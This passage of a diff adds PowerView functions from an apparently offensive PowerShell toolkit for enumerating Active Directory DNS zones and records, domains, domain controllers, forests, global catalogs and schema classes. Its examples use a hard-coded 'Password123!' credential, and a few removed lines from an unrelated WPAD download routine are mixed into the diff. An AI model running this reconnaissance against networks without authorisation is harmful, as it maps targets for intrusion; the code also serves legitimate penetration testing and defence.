representing an Active Directory DNS entry. +Used by Get-DomainDNSRecord. + +Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + +.PARAMETER DNSRecord + +A byte array representing the DNS record. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs custom PSObjects with detailed information about the DNS record entry. + +.LINK + +https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Byte[]] + $DNSRecord + ) + + BEGIN { + function Get-Name { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] + [CmdletBinding()] + Param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = '' + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + } + + PROCESS { + # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if ($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = '[static]' + } + + $DNSRecordObject = New-Object PSObject + + if ($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } + + elseif ($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } + + elseif ($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } + + elseif ($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } + + elseif ($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } + + elseif ($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } + + elseif ($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif ($RDataType -eq 16) { + [string]$TXT = '' + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + } + + elseif ($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } + + elseif ($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } + + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject + } +} + + +function Get-DomainDNSZone { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSZone + +Retrieves the DNS zones for the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +.OUTPUTS + +PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSZone')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsZone)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher1 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher1) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } + else { $Results = $DNSSearcher1.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + try { $Results.dispose() } catch {} + $DNSSearcher1.dispose() + } + + $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' + $DNSSearcher2 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher2) { + try { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } + else { $Results = $DNSSearcher2.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + try { $Results.dispose() } catch {} + } + catch { + Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" + } + $DNSSearcher2.dispose() + } + } +} + + +function Get-DomainDNSRecord { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +.DESCRIPTION + +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +.PARAMETER ZoneName + +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSRecord -ZoneName testlab.local + +Retrieve all records for the testlab.local zone. + +.EXAMPLE + +Get-DomainDNSZone | Get-DomainDNSRecord + +Retrieve all records for all zones in the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local + +Retrieve all records for all zones in the dev.testlab.local domain. + +.OUTPUTS + +PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSRecord')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ZoneName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsNode)' + 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } + else { $Results = $DNSSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + try { + $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Out | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord + } + + if ($Record) { + $Record.PSObject.Properties | ForEach-Object { + $Out | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') + $Out + } + catch { + Write-Warning "[Get-DomainDNSRecord] Error: $_" + $Out + } + } + try { $Results.dispose() } catch {} + $DNSSearcher.dispose() + } + } +} + + +function Get-Domain { +<# +.SYNOPSIS + +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +.PARAMETER Domain + +Specifies the domain name to query for, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-Domain -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose "[Get-Domain] Using alternate credentials for Get-Domain" + + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + } + } + elseif ($PSBoundParameters['Domain']) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } +} + + +function Get-DomainController { +<# +.SYNOPSIS + +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +.DESCRIPTION + +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +.PARAMETER Domain + +The domain to query for domain controllers, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER LDAP + +Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' -LDAP + +Determine the domain controllers for 'test.local' using LDAP queries. + +.EXAMPLE + +'test.local' | Get-DomainController + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Computer')] + [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { + if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } + + # UAC specification for domain controllers + $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + + Get-DomainComputer @Arguments + } + else { + $FoundDomain = Get-Domain @Arguments + if ($FoundDomain) { + $FoundDomain.DomainControllers + } + } + } +} + + +function Get-Forest { +<# +.SYNOPSIS + +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. - $Wpad = "" - if($AutoConfigURL -and ($AutoConfigURL -ne "")) { +.PARAMETER Forest + +The forest name to query for, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-Forest -Forest external.domain + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" + + if ($PSBoundParameters['Forest']) { + $TargetForest = $Forest + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetForest = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + $Null + } + } + elseif ($PSBoundParameters['Forest']) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) try { - $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { - Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" + Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" + return $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if ($ForestObject) { + # get the SID of the forest root + if ($PSBoundParameters['Credential']) { + $ForestSid = ConvertTo-SID -ObjectName "krbtgt@$($ForestObject.RootDomain)" -Credential $Credential + } + else { + $ForestSid = ConvertTo-SID -ObjectName "krbtgt@$($ForestObject.RootDomain)" + } + + $Parts = $ForestSid -Split '-' + $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-ForestDomain { +<# +.SYNOPSIS + +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all domains for the current forest or the forest specified +by -Forest X. + +.PARAMETER Forest + +Specifies the forest name to query for domains. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-ForestDomain + +.EXAMPLE + +Get-ForestDomain -Forest external.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + if ($ForestObject) { + $ForestObject.Domains + } + } +} + + +function Get-ForestGlobalCatalog { +<# +.SYNOPSIS + +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +.PARAMETER Forest + +Specifies the forest name to query for global catalogs. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestGlobalCatalog + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.GlobalCatalog +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-ForestSchemaClass { +<# +.SYNOPSIS + +Helper that returns the Active Directory schema classes for the current +(or specified) forest or returns just the schema class specified by +-ClassName X. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Uses Get-Forest to retrieve the current (or specified) forest. By default, +the .FindAllClasses() method is executed, returning a collection of +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. +If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] +result for the specified class name is returned. + +.PARAMETER ClassName + +Specifies a ActiveDirectorySchemaClass name in the found schema to return. + +.PARAMETER Forest + +The forest to query for the schema, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestSchemaClass + +Returns all domain schema classes for the current forest. + +.EXAMPLE + +Get-ForestSchemaClass -Forest dev.testlab.local + +Returns all domain schema classes for the external.local forest. + +.EXAMPLE + +Get-ForestSchemaClass -ClassName user -Forest external.local + +Returns the user schema class for the external.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred + +Returns the user schema class for the external.local domain using +the specified alternate credentials. + +.OUTPUTS + +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] + +An ActiveDirectorySchemaClass returned from the found schema. +#> + + [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [Alias('Class')] + [ValidateNotNullOrEmpty()] + [String[]] + $ClassName, + + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + if ($PSBoundParameters['ClassName']) { + ForEach ($TargetClass in $ClassName) { + $ForestObject.Schema.FindClass($TargetClass) + } + } + else { + $ForestObject.Schema.FindAllClasses() + } + } + } +} + + +function Find-DomainObjectPropertyOutlier { +<# +.SYNOPSIS + +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass + +.DESCRIPTION + +Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass. +If a -ReferenceObject is passed, the class is extracted from the passed object. +A 'reference' set of property names is then calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. These property names are substracted +from the master schema propertyu name list to retrieve a set of 'non-standard' properties. +Every user/group/computer object (depending on determined class) are enumerated, and for each +object, if the object has a 'non-standard' property set, the object samAccountName, property +name, and property value are output to the pipeline. + +.PARAMETER ClassName + +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +.PARAMETER ReferencePropertySet + +Specifies an array of property names to diff against the class schema. + +.PARAMETER ReferenceObject + +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -User + +Enumerates users in the current domain with 'outlier' properties filled in. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -Group -Domain external.local + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +.EXAMPLE + +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier + +Enumerates computers in the current domain with 'outlier' properties filled in. + +.OUTPUTS + +PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.PropertyOutlier')] + [CmdletBinding(DefaultParameterSetName = 'ClassName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] + [Alias('Class')] + [ValidateSet('User', 'Group', 'Computer')] + [String] + $ClassName, + + [ValidateNotNullOrEmpty()] + [String[]] + $ReferencePropertySet, + + [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] + [PSCustomObject] + $ReferenceObject, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + 